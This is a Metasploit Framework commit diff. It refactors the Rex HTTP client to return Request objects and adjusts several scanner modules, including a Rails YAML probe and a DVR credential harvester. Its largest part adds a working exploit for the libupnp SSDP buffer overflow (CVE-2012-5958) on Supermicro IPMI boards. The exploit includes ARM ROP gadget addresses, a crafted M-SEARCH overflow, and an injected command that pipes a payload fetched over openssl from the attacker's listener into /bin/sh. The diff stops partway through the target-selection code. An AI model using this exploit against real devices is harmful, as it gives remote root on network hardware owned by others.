Merge pull request #5 from jlee-r7/dmaloney-r7-http/auth_methods
Return a Request objectbug/bundler_fix
commit
e13f16c5f5
Binary file not shown.
|
@ -260,7 +260,8 @@ public abstract class RpcConnection {
|
|||
// Don't fork cause we'll check if it dies
|
||||
String rpcType = "Basic";
|
||||
java.util.List args = new java.util.ArrayList(java.util.Arrays.asList(new String[]{
|
||||
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1"}));
|
||||
"msfrpcd","-f","-P",defaultPass,"-t","Msg","-U",defaultUser,"-a","127.0.0.1",
|
||||
"-p",Integer.toString(defaultPort)}));
|
||||
if(!defaultSsl)
|
||||
args.add("-S");
|
||||
if(disableDb)
|
||||
|
|
|
@ -151,27 +151,44 @@ class Client
|
|||
#
|
||||
# Create an arbitrary HTTP request
|
||||
#
|
||||
# @param opts [Hash]
|
||||
# @option opts 'agent' [String] User-Agent header value
|
||||
# @option opts 'basic_auth' [String] Basic-Auth header value
|
||||
# @option opts 'connection' [String] Connection header value
|
||||
# @option opts 'cookie' [String] Cookie header value
|
||||
# @option opts 'data' [String] HTTP data (only useful with some methods, see rfc2616)
|
||||
# @option opts 'encode' [Bool] URI encode the supplied URI, default: false
|
||||
# @option opts 'headers' [Hash] HTTP headers, e.g. <code>{ "X-MyHeader" => "value" }</code>
|
||||
# @option opts 'method' [String] HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
|
||||
# @option opts 'proto' [String] protocol, default: HTTP
|
||||
# @option opts 'query' [String] raw query string
|
||||
# @option opts 'raw_headers' [Hash] HTTP headers
|
||||
# @option opts 'uri' [String] the URI to request
|
||||
# @option opts 'version' [String] version of the protocol, default: 1.1
|
||||
# @option opts 'vhost' [String] Host header value
|
||||
#
|
||||
# @return [Request]
|
||||
def request_raw(opts={})
|
||||
c_enc = opts['encode'] || false
|
||||
c_uri = opts['uri'] || '/'
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_auth = opts['basic_auth'] || config['basic_auth'] || ''
|
||||
c_body = opts['data'] || ''
|
||||
c_conn = opts['connection']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_enc = opts['encode'] || false
|
||||
c_head = opts['headers'] || config['headers'] || {}
|
||||
c_host = opts['vhost'] || config['vhost'] || self.hostname
|
||||
c_meth = opts['method'] || 'GET'
|
||||
c_prot = opts['proto'] || 'HTTP'
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
c_qs = opts['query']
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_host = opts['vhost'] || config['vhost'] || self.hostname
|
||||
c_head = opts['headers'] || config['headers'] || {}
|
||||
c_rawh = opts['raw_headers']|| config['raw_headers'] || ''
|
||||
c_conn = opts['connection']
|
||||
c_auth = opts['basic_auth'] || config['basic_auth'] || ''
|
||||
c_uri = opts['uri'] || '/'
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
|
||||
# An agent parameter was specified, but so was a header, prefer the header
|
||||
if c_ag and c_head.keys.map{|x| x.downcase }.include?('user-agent')
|
||||
c_ag = nil
|
||||
end
|
||||
|
||||
|
||||
uri = set_uri(c_uri)
|
||||
|
||||
req = ''
|
||||
|
@ -191,7 +208,6 @@ class Client
|
|||
req << set_host_header(c_host)
|
||||
req << set_agent_header(c_ag)
|
||||
|
||||
|
||||
if (c_auth.length > 0)
|
||||
req << set_basic_auth_header(c_auth)
|
||||
end
|
||||
|
@ -201,53 +217,45 @@ class Client
|
|||
req << set_extra_headers(c_head)
|
||||
req << set_raw_headers(c_rawh)
|
||||
req << set_body(c_body)
|
||||
|
||||
{:string => req , :opts => opts}
|
||||
|
||||
request = Request.new
|
||||
request.parse(req)
|
||||
request.options = opts
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Create a CGI compatible request
|
||||
#
|
||||
# Options:
|
||||
# - agent: User-Agent header value
|
||||
# - basic_auth: Basic-Auth header value
|
||||
# - connection: Connection header value
|
||||
# - cookie: Cookie header value
|
||||
# - ctype: Content-Type header value, default: +application/x-www-form-urlencoded+
|
||||
# - data: HTTP data (only useful with some methods, see rfc2616)
|
||||
# - encode: URI encode the supplied URI, default: false
|
||||
# - encode_params: URI encode the GET or POST variables (names and values), default: true
|
||||
# - headers: HTTP headers as a hash, e.g. <code>{ "X-MyHeader" => "value" }</code>
|
||||
# - method: HTTP method to use in the request, not limited to standard methods defined by rfc2616, default: GET
|
||||
# - proto: protocol, default: HTTP
|
||||
# - query: raw query string
|
||||
# - raw_headers: HTTP headers as a hash
|
||||
# - uri: the URI to request
|
||||
# - vars_get: GET variables as a hash to be translated into a query string
|
||||
# - vars_post: POST variables as a hash to be translated into POST data
|
||||
# - version: version of the protocol, default: 1.1
|
||||
# - vhost: Host header value
|
||||
# @param (see #request_raw)
|
||||
# @option opts (see #request_raw)
|
||||
# @option opts 'ctype' [String] Content-Type header value, default: +application/x-www-form-urlencoded+
|
||||
# @option opts 'encode_params' [Bool] URI encode the GET or POST variables (names and values), default: true
|
||||
# @option opts 'vars_get' [Hash] GET variables as a hash to be translated into a query string
|
||||
# @option opts 'vars_post' [Hash] POST variables as a hash to be translated into POST data
|
||||
#
|
||||
# @return [Request]
|
||||
def request_cgi(opts={})
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_body = opts['data'] || ''
|
||||
c_cgi = opts['uri'] || '/'
|
||||
c_conn = opts['connection']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_enc = opts['encode'] || false
|
||||
c_enc_p = (opts['encode_params'] == true or opts['encode_params'].nil? ? true : false)
|
||||
c_cgi = opts['uri'] || '/'
|
||||
c_body = opts['data'] || ''
|
||||
c_meth = opts['method'] || 'GET'
|
||||
c_prot = opts['proto'] || 'HTTP'
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
c_qs = opts['query'] || ''
|
||||
c_varg = opts['vars_get'] || {}
|
||||
c_varp = opts['vars_post'] || {}
|
||||
c_head = opts['headers'] || config['headers'] || {}
|
||||
c_host = opts['vhost'] || config['vhost']
|
||||
c_meth = opts['method'] || 'GET'
|
||||
c_path = opts['path_info']
|
||||
c_prot = opts['proto'] || 'HTTP'
|
||||
c_qs = opts['query'] || ''
|
||||
c_rawh = opts['raw_headers'] || config['raw_headers'] || ''
|
||||
c_type = opts['ctype'] || 'application/x-www-form-urlencoded'
|
||||
c_ag = opts['agent'] || config['agent']
|
||||
c_cook = opts['cookie'] || config['cookie']
|
||||
c_host = opts['vhost'] || config['vhost']
|
||||
c_conn = opts['connection']
|
||||
c_path = opts['path_info']
|
||||
c_varg = opts['vars_get'] || {}
|
||||
c_varp = opts['vars_post'] || {}
|
||||
c_vers = opts['version'] || config['version'] || '1.1'
|
||||
|
||||
uri = set_cgi(c_cgi)
|
||||
qstr = c_qs
|
||||
|
@ -264,7 +272,7 @@ class Client
|
|||
|
||||
c_varg.each_pair do |var,val|
|
||||
qstr << '&' if qstr.length > 0
|
||||
qstr << (c_enc_p ? set_encode_uri(var) : var)
|
||||
qstr << (c_enc_p ? set_encode_uri(var) : var)
|
||||
qstr << '='
|
||||
qstr << (c_enc_p ? set_encode_uri(val) : val)
|
||||
end
|
||||
|
@ -315,12 +323,19 @@ class Client
|
|||
req << set_raw_headers(c_rawh)
|
||||
req << set_body(pstr)
|
||||
|
||||
{:string => req , :opts => opts}
|
||||
request = Request.new
|
||||
request.parse(req)
|
||||
request.options = opts
|
||||
|
||||
request
|
||||
end
|
||||
|
||||
#
|
||||
# Connects to the remote server if possible.
|
||||
#
|
||||
# @param t [Fixnum] Timeout
|
||||
# @see Rex::Socket::Tcp.create
|
||||
# @return [Rex::Socket::Tcp]
|
||||
def connect(t = -1)
|
||||
# If we already have a connection and we aren't pipelining, close it.
|
||||
if (self.conn)
|
||||
|
@ -360,28 +375,29 @@ class Client
|
|||
|
||||
#
|
||||
# Sends a request and gets a response back
|
||||
# If the request is a 401, and we have creds, it will attempt to
|
||||
# complete authentication and return the final response
|
||||
#
|
||||
# If the request is a 401, and we have creds, it will attempt to complete
|
||||
# authentication and return the final response
|
||||
#
|
||||
def send_recv(req, t = -1, persist=false)
|
||||
opts = req[:opts]
|
||||
req = req[:string]
|
||||
res = _send_recv(req,t,persist)
|
||||
if res and res.code == 401 and res.headers['WWW-Authenticate'] and have_creds?
|
||||
res = send_auth(res, opts, t, persist)
|
||||
res = send_auth(res, req.options, t, persist)
|
||||
end
|
||||
res
|
||||
end
|
||||
|
||||
#
|
||||
# Transmit an HTTP request and receive the response
|
||||
# If persist is set, then the request will attempt
|
||||
# to reuse an existing connection.
|
||||
#
|
||||
# If persist is set, then the request will attempt to reuse an existing
|
||||
# connection.
|
||||
#
|
||||
# Call this directly instead of {#send_recv} if you don't want automatic
|
||||
# authentication handling.
|
||||
#
|
||||
# @return [Response]
|
||||
def _send_recv(req, t = -1, persist=false)
|
||||
if req.kind_of? Hash and req[:string]
|
||||
req = req[:string]
|
||||
end
|
||||
@pipeline = persist
|
||||
send_request(req, t)
|
||||
res = read_response(t)
|
||||
|
@ -392,12 +408,14 @@ class Client
|
|||
#
|
||||
# Send an HTTP request to the server
|
||||
#
|
||||
# @param req [Request,#to_s] The request to send
|
||||
# @param t (see #connect)
|
||||
def send_request(req, t = -1)
|
||||
connect(t)
|
||||
conn.put(req.to_s)
|
||||
end
|
||||
|
||||
# Validates that the client has creds
|
||||
# Validates that the client has creds
|
||||
def have_creds?
|
||||
!(self.username.nil?) && self.username != ''
|
||||
end
|
||||
|
@ -420,7 +438,7 @@ class Client
|
|||
else
|
||||
opts['headers'] = { 'Authorization' => basic_auth_header(self.username,self.password)}
|
||||
end
|
||||
|
||||
|
||||
req = request_cgi(opts)
|
||||
res = _send_recv(req,t,persist)
|
||||
return res
|
||||
|
@ -628,7 +646,7 @@ class Client
|
|||
opts['password'] ||= self.password.to_s
|
||||
|
||||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||
provider = "Negotiate "
|
||||
provider = "Negotiate "
|
||||
else
|
||||
provider = 'NTLM '
|
||||
end
|
||||
|
|
|
@ -48,6 +48,8 @@ class Request < Packet
|
|||
end
|
||||
end
|
||||
|
||||
attr_accessor :options
|
||||
|
||||
#
|
||||
# Initializes an instance of an HTTP request with the supplied method, URI,
|
||||
# and protocol.
|
||||
|
|
|
@ -76,7 +76,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:category => "web",
|
||||
:method => "GET"
|
||||
})
|
||||
|
||||
|
||||
loot = store_loot("lfi.data","text/plain",rhost, res.body,file)
|
||||
vprint_good("#{rhost}:#{rport} - File #{file} downloaded to: #{loot}")
|
||||
elsif res and res.code
|
||||
|
@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
pass = datastore['PASSWORD']
|
||||
|
||||
vprint_status("#{rhost}:#{rport} - Trying to login with #{user} / #{pass}")
|
||||
|
||||
|
||||
#test login
|
||||
begin
|
||||
res = send_request_cgi({
|
||||
|
|
|
@ -19,7 +19,10 @@ class Metasploit3 < Msf::Auxiliary
|
|||
This module attempts to identify Ruby on Rails instances vulnerable to
|
||||
an arbitrary object instantiation flaw in the XML request processor.
|
||||
},
|
||||
'Author' => 'hdm',
|
||||
'Author' => [
|
||||
'hdm', #author
|
||||
'jjarmoc' #improvements
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
|
@ -29,7 +32,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('URIPATH', [true, "The URI to test", "/"])
|
||||
OptString.new('URIPATH', [true, "The URI to test", "/"]),
|
||||
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ]),
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
@ -37,7 +41,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
odata = %Q^<?xml version="1.0" encoding="UTF-8"?>\n<probe type="#{ptype}"><![CDATA[\n#{pdata}\n]]></probe>^
|
||||
res = send_request_cgi({
|
||||
'uri' => datastore['URIPATH'] || "/",
|
||||
'method' => 'POST',
|
||||
'method' => datastore['HTTP_METHOD'],
|
||||
'ctype' => 'application/xml',
|
||||
'data' => odata
|
||||
}, 25)
|
||||
|
@ -46,29 +50,35 @@ class Metasploit3 < Msf::Auxiliary
|
|||
def run_host(ip)
|
||||
|
||||
res1 = send_probe("string", "hello")
|
||||
res2 = send_probe("yaml", "--- !ruby/object:Time {}\n")
|
||||
res3 = send_probe("yaml", "--- !ruby/object:\x00")
|
||||
|
||||
unless res1
|
||||
vprint_status("#{rhost}:#{rport} No reply to the initial XML request")
|
||||
return
|
||||
end
|
||||
|
||||
if res1.code.to_s =~ /^[5]/
|
||||
vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH")
|
||||
return
|
||||
end
|
||||
|
||||
res2 = send_probe("yaml", "--- !ruby/object:Time {}\n")
|
||||
|
||||
unless res2
|
||||
vprint_status("#{rhost}:#{rport} No reply to the initial YAML probe")
|
||||
return
|
||||
end
|
||||
|
||||
res3 = send_probe("yaml", "--- !ruby/object:\x00")
|
||||
|
||||
unless res3
|
||||
vprint_status("#{rhost}:#{rport} No reply to the second YAML probe")
|
||||
return
|
||||
end
|
||||
|
||||
if res1.code.to_s =~ /^[45]/
|
||||
vprint_status("#{rhost}:#{rport} The server replied with #{res1.code} for our initial XML request, double check URIPATH")
|
||||
end
|
||||
vprint_status("Probe response codes: #{res1.code} / #{res2.code} / #{res3.code}")
|
||||
|
||||
if res2.code.to_s =~ /^[23]/ and res3.code != res2.code and res3.code != 200
|
||||
|
||||
if (res2.code == res1.code) and (res3.code != res2.code) and (res3.code != 200)
|
||||
print_good("#{rhost}:#{rport} is likely vulnerable due to a #{res3.code} reply for invalid YAML")
|
||||
report_vuln({
|
||||
:host => rhost,
|
||||
|
@ -79,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
:refs => self.references
|
||||
})
|
||||
else
|
||||
vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH must be set")
|
||||
vprint_status("#{rhost}:#{rport} is not likely to be vulnerable or URIPATH & HTTP_METHOD must be set")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -37,7 +37,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
end
|
||||
|
||||
def get_ppooe_credentials(conf)
|
||||
def get_pppoe_credentials(conf)
|
||||
|
||||
user = ""
|
||||
password = ""
|
||||
|
@ -208,7 +208,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
get_ftp_credentials(conf)
|
||||
get_dvr_credentials(conf)
|
||||
get_ddns_credentials(conf)
|
||||
get_ppooe_credentials(conf)
|
||||
get_pppoe_credentials(conf)
|
||||
|
||||
dvr_name = ""
|
||||
if res.body =~ /DVR_NAME=(.*)/
|
||||
|
|
|
@ -38,7 +38,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
"ST:upnp:rootdevice\r\n" +
|
||||
"Man:\"ssdp:discover\"\r\n" +
|
||||
"MX:3\r\n" +
|
||||
"\r\n\r\n" # Non-standard, but helps
|
||||
"\r\n"
|
||||
end
|
||||
|
||||
def scanner_prescan(batch)
|
||||
|
@ -144,14 +144,14 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}
|
||||
}
|
||||
|
||||
if data =~ /^Server:[\s]*(.*)/i
|
||||
if data =~ /^Server:[\s]*(.*)/mi
|
||||
@results[skey][:info][:server] = $1.strip
|
||||
end
|
||||
|
||||
ssdp_host = nil
|
||||
ssdp_port = 80
|
||||
location_string = ''
|
||||
if data =~ /^Location:[\s]*(.*)/i
|
||||
if data =~ /^Location:[\s]*(.*)/mi
|
||||
location_string = $1
|
||||
@results[skey][:info][:location] = $1.strip
|
||||
if location_string[/(https?):\x2f\x2f([^\x5c\x2f]+)/]
|
||||
|
@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
end
|
||||
end
|
||||
|
||||
if data =~ /^USN:[\s]*(.*)/i
|
||||
if data =~ /^USN:[\s]*(.*)/mi
|
||||
@results[skey][:info][:usn] = $1.strip
|
||||
end
|
||||
|
||||
|
|
|
@ -55,8 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
|
||||
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
|
||||
|
||||
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
|
|
@ -53,8 +53,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
Opt::RPORT(80),
|
||||
OptString.new('URIPATH', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]),
|
||||
OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"])
|
||||
|
||||
OptEnum.new('HTTP_METHOD', [true, 'HTTP Method', 'POST', ['GET', 'POST', 'PUT'] ])
|
||||
], self.class)
|
||||
|
||||
register_evasion_options(
|
||||
|
|
|
@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
'evilcry', # pbot analysis'
|
||||
'Jay Turla', # pbot analysis
|
||||
'@bwallHatesTwits', # PoC
|
||||
'bwall', # aka @bwallHatesTwits, PoC
|
||||
'juan vazquez' # Metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
|
|
|
@ -0,0 +1,349 @@
|
|||
##
|
||||
# This file is part of the Metasploit Framework and may be subject to
|
||||
# redistribution and commercial restrictions. Please see the Metasploit
|
||||
# web site for more information on licensing and terms of use.
|
||||
# http://metasploit.com/
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Exploit::Remote
|
||||
Rank = NormalRanking
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Portable UPnP SDK unique_service_name() Remote Code Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a buffer overflow in the unique_service_name()
|
||||
function of libupnp's SSDP processor. The libupnp library is used across
|
||||
thousands of devices and is referred to as the Intel SDK for UPnP
|
||||
Devices or the Portable SDK for UPnP Devices.
|
||||
|
||||
Due to size limitations on many devices, this exploit uses a separate TCP
|
||||
listener to stage the real payload.
|
||||
},
|
||||
'Author' => [
|
||||
'hdm', # Exploit dev for Supermicro IPMI
|
||||
'Alex Eubanks <endeavor[at]rainbowsandpwnies.com>', # Exploit dev for Supermicro IPMI
|
||||
'Richard Harman <richard[at]richardharman.com>' # Binaries, system info, testing for Supermicro IPMI
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2012-5958' ],
|
||||
[ 'US-CERT-VU', '922681' ],
|
||||
[ 'URL', 'https://community.rapid7.com/community/infosec/blog/2013/01/29/security-flaws-in-universal-plug-and-play-unplug-dont-play' ]
|
||||
],
|
||||
'Platform' => ['unix'],
|
||||
'Arch' => ARCH_CMD,
|
||||
'Privileged' => true,
|
||||
'Payload' =>
|
||||
{
|
||||
#
|
||||
# # The following BadChars do not apply since we stage the payload
|
||||
# # through a secondary connection. This is just for reference.
|
||||
#
|
||||
# 'BadChars' =>
|
||||
# # Bytes 0-8 are not allowed
|
||||
# [*(0..8)].pack("C*") +
|
||||
# # 0x09, 0x0a, 0x0d are allowed
|
||||
# "\x0b\x0c\x0e\x0f" +
|
||||
# # All remaining bytes up to space are restricted
|
||||
# [*(0x10..0x1f)].pack("C*") +
|
||||
# # Also not allowed
|
||||
# "\x7f\x3a" +
|
||||
# # Breaks our string quoting
|
||||
# "\x22",
|
||||
|
||||
# Unlimited since we stage this over a secondary connection
|
||||
'Space' => 8000,
|
||||
'DisableNops' => true,
|
||||
'Compat' =>
|
||||
{
|
||||
'PayloadType' => 'cmd',
|
||||
# specific payloads vary widely by device (openssl for IPMI, etc)
|
||||
}
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
|
||||
[ "Automatic", { } ],
|
||||
|
||||
#
|
||||
# ROP targets are difficult to represent in the hash, use callbacks instead
|
||||
#
|
||||
[ "Supermicro Onboard IPMI (X9SCL/X9SCM) Intel SDK 1.3.1", {
|
||||
|
||||
# The callback handles all target-specific settings
|
||||
:callback => :target_supermicro_ipmi_131,
|
||||
|
||||
# This matches any line of the SSDP M-SEARCH response
|
||||
:fingerprint =>
|
||||
/Server:\s*Linux\/2\.6\.17\.WB_WPCM450\.1\.3 UPnP\/1\.0, Intel SDK for UPnP devices\/1\.3\.1/mi
|
||||
|
||||
#
|
||||
# SSDP response:
|
||||
# Linux/2.6.17.WB_WPCM450.1.3 UPnP/1.0, Intel SDK for UPnP devices/1.3.1
|
||||
# http://192.168.xx.xx:49152/IPMIdevicedesc.xml
|
||||
# uuid:Upnp-IPMI-1_0-1234567890001::upnp:rootdevice
|
||||
|
||||
# Approximately 35,000 of these found in the wild via critical.io scans (2013-02-03)
|
||||
|
||||
} ],
|
||||
|
||||
[ "Debug Target", {
|
||||
|
||||
# The callback handles all target-specific settings
|
||||
:callback => :target_debug
|
||||
|
||||
} ]
|
||||
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jan 29 2013'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RHOST(),
|
||||
Opt::RPORT(1900),
|
||||
OptAddress.new('CBHOST', [ false, "The listener address used for staging the real payload" ]),
|
||||
OptPort.new('CBPORT', [ false, "The listener port used for staging the real payload" ])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
|
||||
def exploit
|
||||
|
||||
configure_socket
|
||||
|
||||
target_info = choose_target
|
||||
|
||||
unless self.respond_to?(target_info[:callback])
|
||||
print_error("Invalid target specified: no callback function defined")
|
||||
return
|
||||
end
|
||||
|
||||
buffer = self.send(target_info[:callback])
|
||||
pkt =
|
||||
"M-SEARCH * HTTP/1.1\r\n" +
|
||||
"Host:239.255.255.250:1900\r\n" +
|
||||
"ST:uuid:schemas:device:" + buffer + ":end\r\n" +
|
||||
"Man:\"ssdp:discover\"\r\n" +
|
||||
"MX:3\r\n\r\n"
|
||||
|
||||
print_status("Exploiting #{rhost} with target '#{target_info.name}' with #{pkt.length} bytes to port #{rport}...")
|
||||
|
||||
r = udp_sock.sendto(pkt, rhost, rport, 0)
|
||||
|
||||
1.upto(5) do
|
||||
::IO.select(nil, nil, nil, 1)
|
||||
break if session_created?
|
||||
end
|
||||
|
||||
# No handler() support right now
|
||||
end
|
||||
|
||||
|
||||
|
||||
# These devices are armle, run version 1.3.1 of libupnp, have random stacks, but no PIE on libc
|
||||
def target_supermicro_ipmi_131
|
||||
|
||||
# Create a fixed-size buffer for the payload
|
||||
buffer = Rex::Text.rand_text_alpha(2000)
|
||||
|
||||
# Place the entire buffer inside of double-quotes to take advantage of is_qdtext_char()
|
||||
buffer[0,1] = '"'
|
||||
buffer[1999,1] = '"'
|
||||
|
||||
# Prefer CBHOST, but use LHOST, or autodetect the IP otherwise
|
||||
cbhost = datastore['CBHOST'] || datastore['LHOST'] || Rex::Socket.source_address(datastore['RHOST'])
|
||||
|
||||
# Start a listener
|
||||
start_listener(true)
|
||||
|
||||
# Figure out the port we picked
|
||||
cbport = self.service.getsockname[2]
|
||||
|
||||
# Restart the service and use openssl to stage the real payload
|
||||
# Staged because only ~150 bytes of contiguous data are available before mangling
|
||||
cmd = "sleep 1;/bin/upnp_dev & echo; openssl s_client -quiet -host #{cbhost} -port #{cbport}|/bin/sh;exit;#"
|
||||
buffer[432, cmd.length] = cmd
|
||||
|
||||
# Adjust $r3 to point from the bottom of the stack back into our buffer
|
||||
buffer[304,4] = [0x4009daf8].pack("V") #
|
||||
# 0x4009daf8: add r3, r3, r4, lsl #2
|
||||
# 0x4009dafc: ldr r0, [r3, #512] ; 0x200
|
||||
# 0x4009db00: pop {r4, r10, pc}
|
||||
|
||||
# The offset (right-shifted by 2 ) to our command string above
|
||||
buffer[284,4] = [0xfffffe78].pack("V") #
|
||||
|
||||
# Copy $r3 into $r0
|
||||
buffer[316,4] = [0x400db0ac].pack("V")
|
||||
# 0x400db0ac <_IO_wfile_underflow+1184>: sub r0, r3, #1
|
||||
# 0x400db0b0 <_IO_wfile_underflow+1188>: pop {pc} ; (ldr pc, [sp], #4)
|
||||
|
||||
# Move our stack pointer down so as not to corrupt our payload
|
||||
buffer[320,4] = [0x400a5568].pack("V")
|
||||
# 0x400a5568 <__default_rt_sa_restorer_v2+5448>: add sp, sp, #408 ; 0x198
|
||||
# 0x400a556c <__default_rt_sa_restorer_v2+5452>: pop {r4, r5, pc}
|
||||
|
||||
# Finally return to system() with $r0 pointing to our string
|
||||
buffer[141,4] = [0x400add8c].pack("V")
|
||||
|
||||
return buffer
|
||||
=begin
|
||||
00008000-00029000 r-xp 00000000 08:01 709233 /bin/upnp_dev
|
||||
00031000-00032000 rwxp 00021000 08:01 709233 /bin/upnp_dev
|
||||
00032000-00055000 rwxp 00000000 00:00 0 [heap]
|
||||
40000000-40015000 r-xp 00000000 08:01 709562 /lib/ld-2.3.5.so
|
||||
40015000-40017000 rwxp 00000000 00:00 0
|
||||
4001c000-4001d000 r-xp 00014000 08:01 709562 /lib/ld-2.3.5.so
|
||||
4001d000-4001e000 rwxp 00015000 08:01 709562 /lib/ld-2.3.5.so
|
||||
4001e000-4002d000 r-xp 00000000 08:01 709535 /lib/libpthread-0.10.so
|
||||
4002d000-40034000 ---p 0000f000 08:01 709535 /lib/libpthread-0.10.so
|
||||
40034000-40035000 r-xp 0000e000 08:01 709535 /lib/libpthread-0.10.so
|
||||
40035000-40036000 rwxp 0000f000 08:01 709535 /lib/libpthread-0.10.so
|
||||
40036000-40078000 rwxp 00000000 00:00 0
|
||||
40078000-40180000 r-xp 00000000 08:01 709620 /lib/libc-2.3.5.so
|
||||
40180000-40182000 r-xp 00108000 08:01 709620 /lib/libc-2.3.5.so
|
||||
40182000-40185000 rwxp 0010a000 08:01 709620 /lib/libc-2.3.5.so
|
||||
40185000-40187000 rwxp 00000000 00:00 0
|
||||
bd600000-bd601000 ---p 00000000 00:00 0
|
||||
bd601000-bd800000 rwxp 00000000 00:00 0
|
||||
bd800000-bd801000 ---p 00000000 00:00 0
|
||||
bd801000-bda00000 rwxp 00000000 00:00 0
|
||||
bdc00000-bdc01000 ---p 00000000 00:00 0
|
||||
bdc01000-bde00000 rwxp 00000000 00:00 0
|
||||
be000000-be001000 ---p 00000000 00:00 0
|
||||
be001000-be200000 rwxp 00000000 00:00 0
|
||||
be941000-be956000 rwxp 00000000 00:00 0 [stack]
|
||||
=end
|
||||
|
||||
end
|
||||
|
||||
# Generate a buffer that provides a starting point for exploit development
|
||||
def target_debug
|
||||
buffer = Rex::Text.pattern_create(2000)
|
||||
end
|
||||
|
||||
def stage_real_payload(cli)
|
||||
print_good("Sending payload of #{payload.encoded.length} bytes to #{cli.peerhost}:#{cli.peerport}...")
|
||||
cli.put(payload.encoded + "\n")
|
||||
end
|
||||
|
||||
def start_listener(ssl = false)
|
||||
|
||||
comm = datastore['ListenerComm']
|
||||
if comm == "local"
|
||||
comm = ::Rex::Socket::Comm::Local
|
||||
else
|
||||
comm = nil
|
||||
end
|
||||
|
||||
self.service = Rex::Socket::TcpServer.create(
|
||||
'LocalPort' => datastore['CBPORT'],
|
||||
'SSL' => ssl,
|
||||
'SSLCert' => datastore['SSLCert'],
|
||||
'Comm' => comm,
|
||||
'Context' =>
|
||||
{
|
||||
'Msf' => framework,
|
||||
'MsfExploit' => self,
|
||||
})
|
||||
|
||||
self.service.on_client_connect_proc = Proc.new { |client|
|
||||
stage_real_payload(client)
|
||||
}
|
||||
|
||||
# Start the listening service
|
||||
self.service.start
|
||||
end
|
||||
|
||||
#
|
||||
# Shut down any running services
|
||||
#
|
||||
def cleanup
|
||||
super
|
||||
if self.service
|
||||
print_status("Shutting down payload stager listener...")
|
||||
begin
|
||||
self.service.deref if self.service.kind_of?(Rex::Service)
|
||||
if self.service.kind_of?(Rex::Socket)
|
||||
self.service.close
|
||||
self.service.stop
|
||||
end
|
||||
self.service = nil
|
||||
rescue ::Exception
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
def choose_target
|
||||
# If the user specified a target, use that one
|
||||
return self.target unless self.target.name =~ /Automatic/
|
||||
|
||||
msearch =
|
||||
"M-SEARCH * HTTP/1.1\r\n" +
|
||||
"Host:239.255.255.250:1900\r\n" +
|
||||
"ST:upnp:rootdevice\r\n" +
|
||||
"Man:\"ssdp:discover\"\r\n" +
|
||||
"MX:3\r\n\r\n"
|
||||
|
||||
# Fingerprint the service through SSDP
|
||||
udp_sock.sendto(msearch, rhost, rport, 0)
|
||||
|
||||
res = nil
|
||||
1.upto(5) do
|
||||
res,addr,info = udp_sock.recvfrom(65535, 1.0)
|
||||
break if res and res =~ /^(Server|Location)/mi
|
||||
udp_sock.sendto(msearch, rhost, rport, 0)
|
||||
end
|
||||
|
||||
self.targets.each do |t|
|
||||
return t if t[:fingerprint] and res =~ t[:fingerprint]
|
||||
end
|
||||
|
||||
if res and res.to_s.length > 0
|
||||
print_status("No target matches this fingerprint")
|
||||
print_status("")
|
||||
res.to_s.split("\n").each do |line|
|
||||
print_status(" #{line.strip}")
|
||||
end
|
||||
print_status("")
|
||||
else
|
||||
print_status("The system #{rhost} did not reply to our M-SEARCH probe")
|
||||
end
|
||||
|
||||
